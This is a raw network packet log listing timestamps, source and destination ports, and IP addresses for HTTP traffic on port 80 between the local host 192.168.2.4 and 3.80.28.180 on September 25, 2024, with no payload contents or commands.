Sep 25, 2024 03:51:28.883857965 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.883877039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883893013 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.883893013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883910894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883927107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883946896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883975029 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.883975029 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.884048939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.884175062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.884191990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.884234905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.884241104 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.884252071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.884270906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.884288073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.884304047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.884310961 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.884371042 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.884437084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.884453058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.884469032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.884485006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.884494066 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.884501934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.884517908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.884540081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.884541035 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.884541035 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.884609938 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.884716988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.884733915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.884747982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.884763956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.884778976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.884793997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.884799957 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.884809971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.884826899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.884835005 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.884861946 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.884896040 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.919719934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.919742107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.919759035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.919786930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.919802904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.919819117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.919832945 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.919891119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.919895887 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.963557005 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.969073057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.969110012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.969126940 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.969166994 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.969201088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.969218016 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.969234943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.969254017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.969278097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.969278097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.969348907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.969364882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.969379902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.969397068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.969425917 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.969470978 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.969562054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.969578028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.969594955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.969614983 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.969664097 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.969742060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.969758034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.969772100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.969786882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.969801903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.969818115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.969824076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.969824076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.969835043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.969855070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.969898939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.969898939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.970139027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.970165968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.970181942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.970199108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.970216036 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.970216036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.970233917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.970249891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.970254898 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.970267057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.970285892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.970295906 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.970302105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.970318079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.970345974 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.970345974 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.970525026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.970555067 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.970575094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.973164082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.973200083 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.973216057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.973237038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.973242044 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.973252058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.973270893 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.973319054 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.973349094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.973366976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.973383904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.973400116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.973434925 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.973434925 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.973481894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.973557949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.973573923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.973589897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.973608017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.973623991 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.973678112 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.973710060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.973730087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.973756075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.973763943 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.973773956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.973792076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.973803043 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.973812103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.973849058 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.973973989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.973989010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974005938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974052906 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.974052906 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.974123001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974138975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974153042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974186897 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974201918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974205017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.974220037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974236012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974241972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.974251986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974270105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974287987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974287987 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.974312067 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.974364996 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.974510908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974636078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974651098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974667072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974683046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974687099 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.974699974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974715948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974749088 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.974749088 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.974788904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974805117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974837065 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.974895954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974912882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974929094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974945068 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.974946976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974966049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974977970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.974982023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.974997997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975016117 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.975017071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975033998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975071907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.975071907 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.975289106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975305080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975321054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975337029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975353003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975353956 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.975372076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975398064 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.975420952 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.975421906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975440025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975457907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975486994 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.975716114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975733042 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975748062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975763083 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.975764990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975784063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975800037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975805998 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.975815058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975828886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975845098 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975862026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975869894 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.975869894 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.975877047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975898027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975913048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975924015 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.975924015 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.975934029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975950003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975970030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.975996971 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.975997925 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.977099895 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.010638952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.010659933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.010687113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.010704994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.010720968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.010739088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.010741949 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.010757923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.010795116 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.010816097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.010881901 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.060053110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060096979 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060112000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060137033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060148001 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.060153008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060173988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060185909 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.060251951 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.060264111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060280085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060307026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060313940 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.060324907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060379028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.060451984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060476065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060492992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060508966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060513020 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.060528994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060544968 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.060615063 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.060671091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060686111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060703993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060719013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060729027 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.060738087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060843945 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.060914040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060931921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060949087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060966015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.060976982 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.060983896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.061029911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.061029911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.061224937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.061240911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.061258078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.061275959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.061292887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.061294079 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.061311007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.061326981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.061331987 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.061343908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.061359882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.061364889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.061381102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.061398029 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.061399937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.061439037 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.064234018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.064266920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.064301968 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.064342976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.064404011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.064410925 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.064419985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.064542055 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.064562082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.064578056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.064594984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.064614058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.064629078 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.064670086 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.064770937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.064786911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.064801931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.064820051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.064838886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.064852953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.064861059 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.064861059 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.064929008 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.065073013 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065088987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065104961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065120935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065136909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065136909 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.065154076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065171003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065186977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065196037 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.065196037 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.065205097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065222025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065238953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065258026 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.065315008 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.065496922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065512896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065529108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065546036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065550089 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.065562963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:29.065565109 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.065578938 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:29.065610886 CEST	49730	80	192.168.2.4	3.80.28.180
